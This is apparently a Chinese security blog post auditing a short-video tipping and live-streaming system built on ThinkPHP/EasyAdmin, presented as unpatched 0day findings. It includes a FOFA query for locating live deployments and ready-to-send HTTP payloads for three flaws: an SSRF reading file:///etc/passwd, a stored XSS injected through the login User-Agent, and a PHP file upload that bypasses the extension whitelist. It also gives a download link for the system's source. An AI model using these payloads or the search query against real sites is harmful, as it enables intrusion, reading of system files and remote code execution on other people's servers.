0x00 前言
短视频打赏源码/内含十几套前端模板/代理端完整+前端vue编译后/短视频带直播和试看功能,测试环境:宝塔、Linux、PHP7.4、MySQL5.6、伪静态thinkPHP、根目录public
测试的时候发现视频列表json编码存在一点问题,调试了几个小时也没找到具体原因,前端是vue编译后的,没有纯源码,所以前端无法搞
Fofa:"Location: https://m.baidu.com" && domain!="baidu.com"
(这套系统应该大多是用于sex的,在二级目录或者APP后端比较多,fofa不怎么检索到)
框架:ThinkPHP V6.0.12 Easyadmin Debug:True
0x01 前台任意文件读取+SSRF漏洞
位于 /index/controller/Caiji.php 控制器的 get_curl 方法存在curl_exec函数,且所有传参均可控,导致漏洞产生,这个点甚至还能POST传参任意地址,伪造IP等.
public function get_curl($url,$post=0,$referer=0,$cookie=0,$header=0,$ua=0,$nobaody=0,$ip=0,$split=0){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$httpheader[] = "Accept:*/*";
$httpheader[] = "Accept-Encoding:gzip,deflate,sdch";
$httpheader[] = "Accept-Language:zh-CN,zh;q=0.8";
$httpheader[] = "Connection:close";
curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
if($post){
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
if($header){
curl_setopt($ch, CURLOPT_HEADER, TRUE);
}
if($cookie){
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
if($referer){
if($referer==1){
curl_setopt($ch, CURLOPT_REFERER, 'http://m.qzone.com/infocenter?g_f=');
}else{
curl_setopt($ch, CURLOPT_REFERER, $referer);
}
}
if($ip){
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip));
}
if($ua){
curl_setopt($ch, CURLOPT_USERAGENT,$ua);
}else{
curl_setopt($ch, CURLOPT_USERAGENT, 'Stream/1.0.3 (iPhone; iOS 12.4; Scale/2.00)');
}
if($nobaody){
curl_setopt($ch, CURLOPT_NOBODY,1);
}
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$ret = curl_exec($ch);
if ($split) {
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($ret, 0, $headerSize);
$body = substr($ret, $headerSize);
$ret=array();
$ret['header']=$header;
$ret['body']=$body;
}
curl_close($ch);
return $ret;
}
Payload:
GET /caiji/get_curl?url=file:///etc/passwd HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0x02 前台存储型XSS漏洞
位于 /admin/controller/Login.php 控制器的index方法在进行登录发包后将发包数据保存在数据库中,其中post数据,路由,IP,User-Agent 均被存入数据库中.
/**
* 用户登录
* @return string
* @throws Exception
*/
public function index()
{
$captcha = Env::get('easyadmin.captcha', 1);
if ($this->request->isPost()) {
$post = $this->request->post();
if(isset($post['ypm']))
{
return $this->reg();
}
$rule = [
'username|用户名' => 'require',
'password|密码' => 'require',
'keep_login|是否保持登录' => 'require',
];
$captcha == 1 && $rule['captcha|验证码'] = 'require|captcha';
$this->validate($post, $rule);
$admin = SystemAdmin::where(['username' => $post['username']])->find();
if (empty($admin)) {
$this->error('用户不存在');
}
// var_dump(password("yxymk.net"));die;
if (password($post['password']) != $admin->password) {
$this->error('密码输入有误');
}
if ($admin->status == 0) {
$this->error('账号已被禁用');
}
$admin->login_num += 1;
$admin->save();
$admin = $admin->toArray();
unset($admin['password']);
$admin['expire_time'] = $post['keep_login'] == 1 ? true : time() + 7200;
$admin['expire_time'] = true;
session('admin', $admin);
$this->success('登录成功');
}
$this->assign('captcha', $captcha);
$this->assign('demo', $this->isDemo);
return $this->fetch();
}
而后在 /admin/controller/system/Log.php 控制器中将数据显示出来.
namespace appadmincontrollersystem;
use appadminmodelSystemLog;
use appcommoncontrollerAdminController;
use EasyAdminannotationControllerAnnotation;
use EasyAdminannotationNodeAnotation;
use thinkApp;
/**
* @ControllerAnnotation(title="操作日志管理")
* Class Auth
* @package appadmincontrollersystem
*/
class Log extends AdminController
{
public function __construct(App $app)
{
parent::__construct($app);
$this->model = new SystemLog();
}
/**
* @NodeAnotation(title="列表")
*/
public function index()
{
if ($this->request->isAjax()) {
if (input('selectFields')) {
return $this->selectList();
}
[$page, $limit, $where, $excludeFields] = $this->buildTableParames(['month']);
$month = (isset($excludeFields['month']) && !empty($excludeFields['month']))
? date('Ym',strtotime($excludeFields['month']))
: date('Ym');
// todo TP6框架有一个BUG,非模型名与表名不对应时(name属性自定义),withJoin生成的sql有问题
$count = $this->model
->setMonth($month)
->with('admin')
->where($where)
->select();
$list = $this->model
->setMonth($month)
->with('admin')
->where($where)
->page($page, $limit)
->order($this->sort)
->select();
$data = [
'code' => 0,
'msg' => '',
'count' => $count,
'data' => $list,
];
return json($data);
}
return $this->fetch();
}
}
所以我们首先需要构造一个登录包,然后在User-Agent中插入XSS语句即可
Payload:
POST /admin/login/index.html HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 47
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: 1234<script>alert(666)</script>
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:81
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:81/admin/login/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=admin1&password=123123123&keep_login=0
然后站长打开后台左下角的日志管理功能即可触发XSS
0x03 后台任意文件上传漏洞
我们去看 /admin/controller/Ajax.php 控制器中的upload方法,发现其过滤方式为白名单,但是白名单可以通过POST传参 upload_type 直接去赋值,导致被绕过,顺道去看了一下Easyadmin 发现其项目也是这样写的,说明通杀所有Easyadmin后台.
/**
* 上传文件
*/
public function upload()
{
$data = [
'upload_type' => $this->request->post('upload_type'),
'file' => $this->request->file('file'),
];
$uploadConfig = sysconfig('upload');
empty($data['upload_type']) && $data['upload_type'] = $uploadConfig['upload_type'];
$rule = [
'upload_type|指定上传类型有误' => "in:{$uploadConfig['upload_allow_type']}",
'file|文件' => "require|file|fileExt:{$uploadConfig['upload_allow_ext']}|fileSize:{$uploadConfig['upload_allow_size']}",
];
$this->validate($data, $rule);
try {
$upload = Uploadfile::instance()
->setUploadType($data['upload_type'])
->setUploadConfig($uploadConfig)
->setFile($data['file'])
->save();
} catch (Exception $e) {
$this->error($e->getMessage());
}
if ($upload['save'] == true) {
$this->success($upload['msg'], ['url' => $upload['url']]);
} else {
$this->error($upload['msg']);
}
}
Payload:
POST /admin/ajax/upload HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 290
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqVHCE6rweLU4xoLd
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:81
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:81/admin/stock/add?d=dsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: userid=1; PHPSESSID=300471c6cebde33867306a662af88460
Connection: close
------WebKitFormBoundaryqVHCE6rweLU4xoLd
Content-Disposition: form-data; name="type"
php
------WebKitFormBoundaryqVHCE6rweLU4xoLd
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/png
phpinfo();
------WebKitFormBoundaryqVHCE6rweLU4xoLd--
而且经过测试发现后台低权限用户(代理商)也能上传文件.
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
短视频打赏源码 获取
https://www.123pan.com/s/6kuLjv-6UZ3A.html 提取码:aaaa
原文始发于微信公众号(星悦安全):(0day)某短视频直播打赏系统代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论